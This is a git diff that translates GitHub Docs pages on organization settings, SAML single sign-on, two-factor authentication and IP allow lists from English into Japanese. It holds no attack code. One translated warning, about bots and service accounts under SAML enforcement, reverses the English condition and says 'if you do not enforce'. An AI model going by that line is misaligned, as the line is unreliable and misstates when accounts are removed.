-{% data reusables.organizations.organizations_include %} 
+{% data reusables.organizations.organizations_include %}
 
-{% data reusables.organizations.org-ownership-recommendation %} For more information, see "[Maintaining ownership continuity for your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)."
+{% data reusables.organizations.org-ownership-recommendation %}詳細は、「[Organization の所有権の継続性を管理する](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization)」を参照してください。
 
-{% ifversion fpt or ghec %}
-## Organizations and enterprise accounts
+## Organization と Enterprise アカウント
 
-Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations.
+{% ifversion fpt %}
+Enterprise accounts are a feature of {% data variables.product.prodname_ghe_cloud %} that allow owners to centrally manage policy and billing for multiple organizations. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/collaborating-with-groups-in-organizations/about-organizations).
+{% else %}
+{% ifversion ghec %}For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level.{% endif %} Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization のオーナーは、Enterprise アカウントのレベルで Organization に強制された設定を変更することはできません。 Organization のポリシーや設定について質問がある場合は Enterprise アカウントのオーナーに問い合わせてください。
 
-For organizations that belong to an enterprise account, billing is managed at the enterprise account level, and billing settings are not available at the organization level. Enterprise owners can set policy for all organizations in the enterprise account or allow organization owners to set the policy at the organization level. Organization owners cannot change settings enforced for your organization at the enterprise account level. If you have questions about a policy or setting for your organization, contact the owner of your enterprise account.
-
-{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account]({% ifversion fpt %}/enterprise-cloud@latest{% endif %}/admin/overview/creating-an-enterprise-account){% ifversion ghec %}."{% else %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% endif %}
+{% ifversion ghec %}
+{% data reusables.enterprise.create-an-enterprise-account %} For more information, see "[Creating an enterprise account](/admin/overview/creating-an-enterprise-account)."
 
 {% data reusables.enterprise-accounts.invite-organization %}
+{% endif %}
+{% endif %}
 
-## Terms of service and data protection for organizations
+{% ifversion fpt or ghec %}
+## Organization の利用規約とデータ保護
 
-An entity, such as a company, non-profit, or group, can agree to the Standard Terms of Service or the Corporate Terms of Service for their organization. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."
+会社、非営利団体、グループなどは、Organization として標準の利用規約あるいは企業向け利用規約に合意できます。 詳細は「[企業向け利用規約にアップグレードする](/articles/upgrading-to-the-corporate-terms-of-service)」を参照してください。
 
 {% endif %}
diff --git a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
index 1301ef95bc..818387b592 100644
--- a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
+++ b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md
@@ -1,6 +1,6 @@
 ---
-title: About your organization’s news feed
-intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization.
+title: Organization のニュースフィードについて
+intro: Organization のニュースフィードを使って、その Organization が所有しているリポジトリ上での最近のアクティビティを知ることができます。
 redirect_from:
   - /articles/news-feed
   - /articles/about-your-organization-s-news-feed
@@ -14,17 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Organization news feed
+shortTitle: Organizationニュースフィード
 ---
 
-An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}.
+Organization のニュースフィードは、その Organization が所有しているリポジトリ上での他の人々のアクティビティを知らせます。 Organization のニュースフィードを使って、誰かによる Issue あるいはプルリクエストのオープン、クローズ、マージや、ブランチの作成や削除、タグあるいはリリースの作成、Issue、プルリクエスト、コミットへのコメント、あるいは新しいコミットの {% data variables.product.product_name %}へのプッシュを知ることができます。
 
-## Accessing your organization's news feed
+## Organization のニュースフィードへのアクセス
 
 1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.
-2. Open your {% data reusables.user_settings.personal_dashboard %}.
-3. Click the account context switcher in the upper-left corner of the page.
-  ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png)
-4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %}
-  ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
-  ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
+2. 自分の {% data reusables.user_settings.personal_dashboard %}を開きます。
+3. ページの左上隅にあるアカウントコンテキストスイッチャーをクリックします。 ![Enterprise のコンテキストスイッチャーボタン](/assets/images/help/organizations/account_context_switcher.png)
+4. ドロップダウンメニューから Organization を選択します。{% ifversion fpt or ghec %} ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %}
+![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %}
diff --git a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
index 373c0c390d..1e80528ec7 100644
--- a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
+++ b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/accessing-your-organizations-settings.md
@@ -1,5 +1,5 @@
 ---
-title: Accessing your organization's settings
+title: Organization の設定へのアクセス
 redirect_from:
   - /articles/who-can-access-organization-billing-information-and-account-settings
   - /articles/managing-the-organization-s-settings
@@ -9,7 +9,7 @@ redirect_from:
   - /articles/accessing-your-organization-s-settings
   - /articles/accessing-your-organizations-settings
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organizations-settings
-intro: 'The organization account settings page provides several ways to manage the account, such as billing, team membership, and repository settings.'
+intro: Organization アカウントの設定ページには、支払い、Team のメンバーシップ、リポジトリ設定など、アカウントを管理するいくつかの方法があります。
 versions:
   fpt: '*'
   ghes: '*'
@@ -18,13 +18,14 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Access organization settings
+shortTitle: Organization設定へのアクセス
 ---
+
 {% ifversion fpt or ghec %}
 
 {% tip %}
 
-**Tip:** Only organization owners and billing managers can see and change the billing information and account settings for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**ヒント:** Organization の支払い情報とアカウント設定を見て変更できるのは、Organization のオーナーと支払いマネージャーのみです。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
diff --git a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/index.md b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/index.md
index bd2e17c6b1..feb7744b4d 100644
--- a/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/index.md
+++ b/translations/ja-JP/content/organizations/collaborating-with-groups-in-organizations/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating with groups in organizations
-intro: Groups of people can collaborate across many projects at the same time in organization accounts.
+title: Organization のグループでコラボレーションする
+intro: グループの人々は、Organization のアカウントで、多くのプロジェクトをまたいで同時にコラボレーションできます。
 redirect_from:
   - /articles/creating-a-new-organization-account
   - /articles/collaborating-with-groups-in-organizations
@@ -21,6 +21,6 @@ children:
   - /customizing-your-organizations-profile
   - /about-your-organizations-news-feed
   - /viewing-insights-for-your-organization
-shortTitle: Collaborate with groups
+shortTitle: グループとのコラボレーション
 ---
 
diff --git a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
index 84fdefa98d..c2d7948e2c 100644
--- a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
+++ b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About two-factor authentication and SAML single sign-on
-intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members.
+title: 2 要素認証と SAML シングルサインオンについて
+intro: Organization の管理者は、SAML シングルサインオンと 2 要素認証を共に有効化し、Organization のメンバーの認証方法を追加できます。
 redirect_from:
   - /articles/about-two-factor-authentication-and-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on
@@ -9,18 +9,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: 2FA & SAML single sign-on
+shortTitle: 2FA及びSAMLシングルサインオン
 ---
 
-Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)."
+2 要素認証 (2FA) は、Organization のメンバーに基本的な認証を提供します。 By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.product.product_location %} could be compromised. 2FA に関する詳細は「[2 要素認証について](/articles/about-two-factor-authentication)」を参照してください。
 
-To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)."
+認証方法を追加するために、Organization の管理者は [SAML シングルサインオン (SSO) を有効化](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)し、Organization のメンバーが Organization へのアクセスにシングルサインオンを使わなければならないようにすることができます。 詳細は「[SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)」を参照してください。
 
-If both 2FA and SAML SSO are enabled, organization members must do the following:
+2 要素認証と SAML SSO をどちらも有効化した場合、Organization のメンバーは以下のようにしなければなりません:
 - Use 2FA to log in to their account on {% data variables.product.product_location %}
-- Use single sign-on to access the organization
-- Use an authorized token for API or Git access and use single sign-on to authorize the token
+- Organization へのアクセスにはシングルサインオンを利用
+- API あるいは Git のアクセスには認可されたトークンを使い、トークンの認可にはシングルサインオンを利用
 
-## Further reading
+## 参考リンク
 
-- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)"
+- [Organization 用の SAML シングルサインオンの強制](/articles/enforcing-saml-single-sign-on-for-your-organization)
diff --git a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
index 3b715c25de..7566ad84f3 100644
--- a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
+++ b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/index.md
@@ -1,6 +1,6 @@
 ---
-title: Granting access to your organization with SAML single sign-on
-intro: 'Organization administrators can grant access to their organization with SAML single sign-on. This access can be granted to organization members, bots, and service accounts.'
+title: SAML シングルサインオンでの Organization へのアクセスを許可する
+intro: Organization の管理者は、SAML シングルサインオンでの Organization へのアクセスを許可できます。 このアクセス権は、Organization メンバー、ボット、およびサービスアカウントに付与することができます。
 redirect_from:
   - /articles/granting-access-to-your-organization-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/granting-access-to-your-organization-with-saml-single-sign-on
@@ -13,6 +13,6 @@ children:
   - /managing-bots-and-service-accounts-with-saml-single-sign-on
   - /viewing-and-managing-a-members-saml-access-to-your-organization
   - /about-two-factor-authentication-and-saml-single-sign-on
-shortTitle: Grant access with SAML
+shortTitle: SAMLでのアクセス許可
 ---
 
diff --git a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
index 0b6a234588..d7ae3f3bde 100644
--- a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
+++ b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/managing-bots-and-service-accounts-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: Managing bots and service accounts with SAML single sign-on
-intro: Organizations that have enabled SAML single sign-on can retain access for bots and service accounts.
+title: SAML シングルサインオンでボットおよびサービスアカウントを管理する
+intro: SAML シングルサインオンを有効にしている Organization は、ボットおよびサービスアカウントへのアクセスを維持できます。
 redirect_from:
   - /articles/managing-bots-and-service-accounts-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/managing-bots-and-service-accounts-with-saml-single-sign-on
@@ -9,17 +9,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage bots & service accounts
+shortTitle: ボット及びサービスアカウントの管理
 ---
 
-To retain access for bots and service accounts, organization administrators can [enable](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization), but **not** [enforce](/articles/enforcing-saml-single-sign-on-for-your-organization) SAML single sign-on for their organization. If you need to enforce SAML single sign-on for your organization, you can create an external identity for the bot or service account with your identity provider (IdP).
+ボットおよびサービスアカウントへのアクセスを維持するために、Organization の管理者はその Organization に対して SAML シングルサインオンを[有効化](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)することはできますが、[強制](/articles/enforcing-saml-single-sign-on-for-your-organization)することは**できません**。 Organization に対して SAML シングルサインオンを強制する必要がある場合は、アイデンティティプロバイダ (IdP) を利用してボットまたはサービスアカウントに外部アイデンティティを作成する方法があります。
 
 {% warning %}
 
-**Note:** If you enforce SAML single sign-on for your organization and **do not** have external identities set up for bots and service accounts with your IdP, they will be removed from your organization.
+**注釈:** Organization に対して SAML シングルサインオンを強制しておらず、ボットおよびサービスアカウントに対して IdP で外部 ID を設定して**いない**場合、それらは Organization から削除されます。
 
 {% endwarning %}
 
-## Further reading
+## 参考リンク
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- [SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/articles/about-identity-and-access-management-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
index 8845f4c7cb..2bd7834fb6 100644
--- a/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
+++ b/translations/ja-JP/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing and managing a member's SAML access to your organization
-intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.'
+title: 組織へのメンバーの SAML アクセスの表示と管理
+intro: Organization のメンバーのリンクされたアイデンティティ、アクティブなセッション、認可されたクレデンシャルの表示と取り消しが可能です。
 permissions: Organization owners can view and manage a member's SAML access to an organization.
 redirect_from:
   - /articles/viewing-and-revoking-organization-members-authorized-access-tokens
@@ -11,20 +11,20 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage SAML access
+shortTitle: SAMLアクセスの管理
 ---
 
-## About SAML access to your organization
+## Organization への SAML アクセスについて
 
-When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a personal access token or SSH key that the member has authorized for use with your organization.
+When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. {% data variables.product.product_name %}上の Organizationのリソースにアクセスするには、メンバーはアクティブなSAMLセッションをブラウザーに持っていなければなりません。 OrganizationのリソースにAPIまたはGitを使ってアクセスするには、メンバーは、メンバーがOrganizationでの利用のために認可した個人アクセストークンもしくはSSHキーを使わなければなりません。
 
-You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page.
+各メンバーのリンクされたアイデンティティ、アクティブなセッション、同じページで認可されたクレデンシャルの表示と取り消しが可能です。
 
-## Viewing and revoking a linked identity
+## リンクされているアイデンティティの表示と取り消し
 
-{% data reusables.saml.about-linked-identities %} 
+{% data reusables.saml.about-linked-identities %}
 
-When available, the entry will include SCIM data. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+利用できる場合には、このエントリにはSCIMデータが含まれます。 詳しい情報については「[SCIMについて](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)」を参照してください。
 
 {% warning %}
 
@@ -47,7 +47,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-sso-identity %}
 {% data reusables.saml.confirm-revoke-identity %}
 
-## Viewing and revoking an active SAML session
+## アクティブな SAML セッションの表示と取り消し
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -57,7 +57,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.view-saml-sessions %}
 {% data reusables.saml.revoke-saml-session %}
 
-## Viewing and revoking authorized credentials
+## 認可されたクレデンシャルの表示と取り消し
 
 {% data reusables.saml.about-authorized-credentials %}
 
@@ -70,7 +70,7 @@ When available, the entry will include SCIM data. For more information, see "[Ab
 {% data reusables.saml.revoke-authorized-credentials %}
 {% data reusables.saml.confirm-revoke-credentials %}
 
-## Further reading
+## 参考リンク
 
 - "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %}
 - "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %}
diff --git a/translations/ja-JP/content/organizations/index.md b/translations/ja-JP/content/organizations/index.md
index aebcbe659d..413c62bffa 100644
--- a/translations/ja-JP/content/organizations/index.md
+++ b/translations/ja-JP/content/organizations/index.md
@@ -1,7 +1,7 @@
 ---
-title: Organizations and teams
-shortTitle: Organizations
-intro: Collaborate across many projects while managing access to projects and data and customizing settings for your organization.
+title: Organization および Team
+shortTitle: Organization
+intro: プロジェクトおよびデータへのアクセスを管理し、Organization の設定をカスタマイズしながら、多くのプロジェクトにわたってコラボレーションします。
 redirect_from:
   - /articles/about-improved-organization-permissions
   - /categories/setting-up-and-managing-organizations-and-teams
diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/index.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/index.md
index 01d2dd4043..7b7c47bb2c 100644
--- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/index.md
+++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/index.md
@@ -1,6 +1,6 @@
 ---
-title: Keeping your organization secure
-intro: 'Organization owners have several features to help them keep their projects and data secure. If you''re the owner of an organization, you should regularly review your organization''s audit log{% ifversion not ghae %}, member 2FA status,{% endif %} and application settings to ensure that no unauthorized or malicious activity has occurred.'
+title: Organization を安全に保つ
+intro: 'Organization のオーナーがプロジェクトとデータを安全に保つ方法はいくつかあります。 Organization のオーナーは、不正な、または悪意のあるアクティビティが発生していないことを確認するために、Organization の監査ログ{% ifversion not ghae %}、メンバーの 2 要素認証ステータス、{% endif %} そしてアプリケーション設定を定期的にレビューする必要があります。'
 redirect_from:
   - /articles/preventing-unauthorized-access-to-organization-information
   - /articles/keeping-your-organization-secure
@@ -22,6 +22,6 @@ children:
   - /restricting-email-notifications-for-your-organization
   - /reviewing-the-audit-log-for-your-organization
   - /reviewing-your-organizations-installed-integrations
-shortTitle: Organization security
+shortTitle: Organizationのセキュリティ
 ---
 
diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
index 4fc8425724..589706781d 100644
--- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing allowed IP addresses for your organization
-intro: You can restrict access to your organization's assets by configuring a list of IP addresses that are allowed to connect.
+title: Organization に対する許可 IP アドレスを管理する
+intro: 接続を許可される IP アドレスのリストを設定することで、Organization のアセットに対するアクセスを制限することができます。
 product: '{% data reusables.gated-features.allowed-ip-addresses %}'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization
@@ -11,24 +11,24 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage allowed IP addresses
+shortTitle: 許可IPアドレスの管理
 ---
 
-Organization owners can manage allowed IP addresses for an organization.
+Organization のオーナーは、Organization に対する許可 IP アドレスを管理できます。
 
-## About allowed IP addresses
+## 許可 IP アドレスについて
 
-You can restrict access to organization assets by configuring an allow list for specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
+特定の IP アドレスに対する許可リストを設定することで、Organization アセットへのアクセスを制限できます。 {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %}
 
 {% data reusables.identity-and-permissions.ip-allow-lists-enable %}
 
-If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see "[Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps)."
+許可リストをセットアップした場合は、Organizationにインストールした{% data variables.product.prodname_github_apps %}に設定されたIPアドレスを自動的に許可リストに追加するかを選択することもできます。 {% data variables.product.prodname_github_app %}の作者は、自分のアプリケーションのための許可リストを、アプリケーションが実行されるIPアドレスを指定して設定できます。 それらの許可リストを継承すれば、アプリケーションからの接続リクエストが拒否されるのを避けられます。 詳しい情報については「[{% data variables.product.prodname_github_apps %}によるアクセスの許可](#allowing-access-by-github-apps)」を参照してください。
 
-You can also configure allowed IP addresses for the organizations in an enterprise account. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
+Enterprise アカウントで Organization に対して許可される IP アドレスを設定することもできます。 詳しい情報については、「[Enterprise にセキュリティ設定のポリシーを適用する](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)」以下を参照してください。
 
-## Adding an allowed IP address
+## 許可 IP アドレスを追加する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -37,33 +37,31 @@ You can also configure allowed IP addresses for the organizations in an enterpri
 {% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
 {% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
 
-## Enabling allowed IP addresses
+## 許可 IP アドレスを有効化する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list**.
-  ![Checkbox to allow IP addresses](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
-1. Click **Save**.
+1. [IP allow list] で、「**Enable IP allow list**」を選択します。 ![IP アドレスを許可するチェックボックス](/assets/images/help/security/enable-ip-allowlist-organization-checkbox.png)
+1. [**Save**] をクリックします。
 
-## Allowing access by {% data variables.product.prodname_github_apps %}
+## {% data variables.product.prodname_github_apps %}によるアクセスの許可
 
-If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. 
+許可リストを使っているなら、Organizationにインストールした{% data variables.product.prodname_github_apps %}に設定されたIPアドレスを自動的に許可リストに追加するかも選択できます。
 
 {% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
 
 {% data reusables.apps.ip-allow-list-only-apps %}
 
-For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+作成した{% data variables.product.prodname_github_app %}に許可リストを作成する方法に関する詳しい情報については「[GitHub Appに対して許可されたIPアドレスの管理](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)」を参照してください。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
-  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
-1. Click **Save**.
+1. "IP allow list（IP許可リスト）"の下で、**Enable IP allow list configuration for installed GitHub Apps（インストールされたGitHub AppsのIP許可リスト設定の有効化）**を選択してください。 ![GitHub AppにIPアドレスを許可するチェックボックス](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. [**Save**] をクリックします。
 
-## Editing an allowed IP address
+## 許可 IP アドレスを編集する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -71,9 +69,9 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %}
 {% data reusables.identity-and-permissions.ip-allow-lists-edit-description %}
-1. Click **Update**.
+1. [**Update**] をクリックします。
 
-## Deleting an allowed IP address
+## 許可 IP アドレスを削除する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -81,6 +79,6 @@ For more information about how to create an allow list for a {% data variables.p
 {% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %}
 {% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %}
 
-## Using {% data variables.product.prodname_actions %} with an IP allow list
+## IP許可リストで {% data variables.product.prodname_actions %} を使用する
 
 {% data reusables.github-actions.ip-allow-list-self-hosted-runners %}
diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
index 3053a0a101..804a2e6245 100644
--- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
+++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing security and analysis settings for your organization
-intro: 'You can control features that secure and analyze the code in your organization''s projects on {% data variables.product.prodname_dotcom %}.'
+title: Organization のセキュリティおよび分析設定を管理する
+intro: '{% data variables.product.prodname_dotcom %} 上の Organization のプロジェクトでコードを保護し分析する機能を管理できます。'
 permissions: Organization owners can manage security and analysis settings for repositories in the organization.
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/managing-secret-scanning-for-your-organization
@@ -13,164 +13,158 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage security & analysis
+shortTitle: セキュリティと分析の管理
 ---
 
-## About management of security and analysis settings
+## セキュリティおよび分析設定の管理について
 
-{% data variables.product.prodname_dotcom %} can help secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. {% ifversion ghec %}If you have a license for {% data variables.product.prodname_GH_advanced_security %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
+{% data variables.product.prodname_dotcom %} を使用して、Organization のリポジトリを保護できます。 Organization でメンバーが作成する既存または新規のリポジトリすべてについて、セキュリティおよび分析機能を管理できます。 {% ifversion ghec %}{% data variables.product.prodname_GH_advanced_security %} のライセンスをお持ちの場合は、これらの機能へのアクセスを管理することもできます。 {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with a license for {% data variables.product.prodname_GH_advanced_security %} can also manage access to these features. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization).{% endif %}
 
 {% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %}
 {% data reusables.security.security-and-analysis-features-enable-read-only %}
 
-## Displaying the security and analysis settings
+## セキュリティと分析の設定を表示する
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security-and-analysis %}
 
-The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization.
